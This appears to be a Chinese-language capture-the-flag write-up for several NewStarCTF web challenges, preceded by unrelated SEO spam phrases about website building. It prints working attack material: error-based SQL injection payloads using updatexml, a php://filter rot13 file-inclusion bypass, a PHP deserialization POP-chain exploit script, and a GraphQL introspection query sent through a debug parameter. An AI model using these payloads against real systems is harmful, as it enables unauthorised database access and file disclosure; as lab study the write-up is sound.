域名申请而完成以后怎么做网站,深圳最近流感多吗,越秀区营销型网站建设,合肥新站区有做网站的吗Word-For-You(2 Gen) 和week1 的界面一样不过当时我写题的时候出了个小插曲
连接 MySQL 失败: Access denied for user rootlocalhost
这句话印在了背景#xff0c;后来再进就没了#xff0c;我猜测是报错注入
想办法传参 可以看到一个name2,试着传参
发现有回显三个字段… Word-For-You(2 Gen) 和week1 的界面一样不过当时我写题的时候出了个小插曲
连接 MySQL 失败: Access denied for user rootlocalhost
这句话印在了背景后来再进就没了我猜测是报错注入
想办法传参 可以看到一个name2,试着传参
发现有回显三个字段
爆库
~wfy~ 尝试爆表 这是第一个 wfy_admin
wfy_comments
wfy_information
查看admin 1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_namewfy_admin limit 0,1),0x7e),3)-- 记录一下所有列名idusername、password、cookie 没有回显看下一个内容
记录一下列名id、text、user、name、display一共五个列 ?name-1 and updatexml(1,concat(0x7e,(select id from wfy_comments limit 0,1),0x7e),1)-- 有回显
多输入几位看看有多少行数据测试了一下有12列可以更换列名挨个尝试
按照经验多半在text里
为了节约工作量这里可以用burp试 发现flagflag{Ju4t_m2ke_some_err0rs}
IncludeOne 很显然Hint需要用给的工具解开
去搜了一下这个工具要在虚拟机上用
最后结果是1202031004
第二个if是判断传入的file参数过滤base以及目录穿越 而且必须含有Newstar最后需要包含flag.php 看起来是伪协议套一层协议 因为base被过滤了所以这里用rot13 payloadphp://filter/readstring.rot13/newstar/resourceflag.php flag{6e648778-bb69-49b9-9447-2b83433c4f74} UnserializeOne ?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{public $name;protected $func;public function __destruct(){echo Welcome to NewStarCTF, .$this-name;}public function __isset($var){($this-func)();}
}class Sec{private $obj;private $var;public function __toString(){$this-obj-check($this-var);return CTFers;}public function __invoke(){echo file_get_contents(/flag);}
}class Easy{public $cla;public function __call($fun, $var){$this-cla clone $var[0];}
}class eeee{public $obj;public function __clone(){if(isset($this-obj-cmd)){echo success;}}
}if(isset($_POST[pop])){unserialize($_POST[pop]);
}
很明显是一道php反序列化的题捋清pop链的顺序然后构造pop链
__construct()类的构造函数__destruct()类的析构函数__call()在对象中调用一个不可访问方法时调用__callStatic()用静态方式中调用一个不可访问方法时调用__get()获得一个类的成员变量时调用__set()设置一个类的成员变量时调用__isset()当对不可访问属性调用isset()或empty()时调用__unset()当对不可访问属性调用unset()时被调用。__sleep()执行serialize()时先会调用这个函数__wakeup()执行unserialize()时先会调用这个函数__toString()类被当成字符串时的回应方法__invoke()调用函数的方式调用一个对象时的回应方法__set_state()调用var_export()导出类时此静态方法会被调用。__clone()当对象复制完成时调用__autoload()尝试加载未定义的类__debugInfo()打印所需调试信息我们最后要利用这个函数echo file_get_contents(/flag);所以__invoke()在最后使用往上继续推public function __isset($var) { ($this-func)();
这个调用__invoke()继续一直往上推这样一个pop链就能写出来这个函数调用 public function __clone() { if(isset($this-obj-cmd)){ echo success; } 然后pop链顺序为class Startpublic function __destruct()---class Sec(__toString())--- class Easypublic function __call($fun, $var)---class eeee(__clone())---class Start(__isset($var))---class Sec(__invoke())
值得注意的是这有protected需要从类内部操作不能从外面赋。改成public
?php
class Start{public $name;public $func;
}class Sec{public $obj;public $var;
}class Easy{public $cla;
}class eeee{public $obj;
}$popnew Start();
$pop-namenew Sec();
$pop-name-objnew Easy();
$pop-name-varnew eeee();
$pop-name-var-objnew Start();
$pop-name-var-obj-funcnew Sec();echo urlencode(serialize($pop));
这里我有点不清楚
$pop-name-varnew eeee();
为啥var到eeee,一开始我个人觉得是这么整var-new Easy()-new eeee()我这里是试出来的因为原来构造出来的行不通后来问了问学长说看var那个类里就行obj-check(var)obj给那个有call的类那个没有check方法调callcall里有clone函数clone var之后会调var的__clone 得出结果 我的火狐可能有点问题一开始试了几次没出结果然后重新打开网址可以了
这里还有一种构造思路
?php
class Start{public $name;public $func;
}class Sec{public $obj;public $var;
}class Easy{public $cla;
}class eeee{public $obj;
}
$start new Start();
$sec new Sec();
$easy new Easy();
$eeee new eeee();
$eeee-obj $start;
$sec-obj $easy;
$sec-var $eeee;
$start-name $sec;
$start-func $sec;
echo serialize($start);?
个人偏向前一直思路可以直观的看出来
ezAPI APIApplication Programming Interface应用程序接口是指两个不同软件应用之间进行交互的一组方法。它是现代软件开发中不可或缺的一部分让不同的应用程序能够相互通信、共享数据并且以一种有序的方式进行整合。
Web API
Web API是一组基于HTTP协议的RESTful API它通常由Web服务器提供。此类API包括各种网络服务如社交媒体、搜索引擎、电子商务等。开发人员可以使用Web API来获取第三方数据或在其他应用程序中共享数据。
Web API具有高度的可扩展性并且可以通过API文档和API密钥进行访问控制。开发人员可以使用Web API来构建各种应用程序如智能家居、移动应用程序等。 这题 一开始没有什么思路1输入1有回显
输入999查不到并且报错肯定是一种注入一开始试了几种都没有用 查看源代码也没有什么收获于是试了试robots.txt等
然后www.zip有用打开文件
!DOCTYPE html
htmlheadmeta charsetutf-8 /titleSearch Page/titlelink relstylesheet typetext/css hrefcss/style.css tppabscss/style.css /stylebody {height: 100%;background: #16a085;overflow: hidden;}canvas {z-index: -1;position: absolute;}/stylescript srcjs/jquery.js/scriptscript srcjs/verificationNumbers.js tppabsjs/verificationNumbers.js/scriptscript srcjs/Particleground.js tppabsjs/Particleground.js/scriptscript$(document).ready(function() {$(body).particleground({dotColor: #5cbdaa,lineColor: #5cbdaa});});ß/script
/head
!--unremove DEBUG function, please delete it--
bodydl classadmin_logindtfont colorwhitestrongSearch Page Beta/strong/font/dtform actionindex.php methodpostdd classuser_iconinput typetext nameid placeholder用户ID classlogin_txtbx //ddddinput typesubmit valueSearch classsubmit_btn //dd/formbrcenterfont size4px colorwhite?phperror_reporting(0);$id $_POST[id];function waf($str){if (!is_numeric($str) || preg_replace(/[0-9]/, , $str) ! ) {return False;} else {return True;}}function send($data){$options array(http array(method POST,header Content-type: application/json,content $data,timeout 10 * 60));$context stream_context_create($options);$result file_get_contents(http://graphql:8080/v1/graphql, false, $context);return $result;}if (isset($id)) {if (waf($id)) {isset($_POST[data]) ? $data $_POST[data] : $data {query:query{\nusers_user_by_pk(id: . $id . ) {\nname\n}\n}\n, variables:null};$res json_decode(send($data));if ($res-data-users_user_by_pk-name ! NULL) {echo ID: . $id . brName: . $res-data-users_user_by_pk-name;} else {echo bCant found it!/bbrbrDEBUG: ;var_dump($res-data);}} else {die(bHacker! Only Number!/b);}} else {die(bNo Data?/b);}?/font/center/dl
/body/html
$data {query:query{\nusers_user_by_pk(id: . $id . ) {\nname\n}\n}\n, variables:null}
这个数据没见过去查了一下
这里是我第一次接触graphql
玩转graphQL (qq.com)这篇文章讲的很详细
GraphQL 是一个用于 API的查询语言使用基于类型系统来执行查询的服务类型系统由你的数据定义。GraphQL 并没有和任何特定数据库或者存储引擎绑定而是依靠你现有的代码和数据支撑。
如果你了解REST API会更快地了解它。像REST API往往我们的请求需要多个API每个API是一个类型。比如http://www.test.com/users/{id} 这个API可以获取用户的信息再比如http://www.test.com/users/list 这个API可以获取所有用户的信息。
query:\n query IntrospectionQuery {\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n ,variables:null}
利用内省查询看到所有接口情况
可以看到flag的文件
模仿一下上面给出的data格式 得到flag
flag{4a902c8e-a8b5-ecfb-bee3-d6419865647c}